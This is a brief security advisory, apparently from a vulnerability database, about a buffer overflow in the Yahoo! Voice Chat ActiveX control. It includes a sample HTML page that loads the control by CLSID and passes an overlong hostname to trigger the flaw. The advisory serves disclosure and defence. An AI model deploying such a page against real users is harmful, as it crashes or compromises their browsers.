source: https://www.securityfocus.com/bid/7561/info It has been reported that the ActiveX control used by the Yahoo! Voice Chat feature is prone to an exploitable buffer overflow vulnerability. This issue can be exploited via a malicious web page that calls the vulnerable control with malformed parameters. Although unconfirmed, it has been conjectured that this condition may be exploited to execute arbitrary code. ------sample.htm----------- <OBJECT id=yahooaudio type="application/x-oleobject" classid="clsid:2B323CD9-50E3-11D3-9466-00A0C9700498"> </OBJECT> <script> yahooaudio.hostname="longstringheremorethan500chars"; yahooaudio.createandjoinconference(); </script> ---------------------------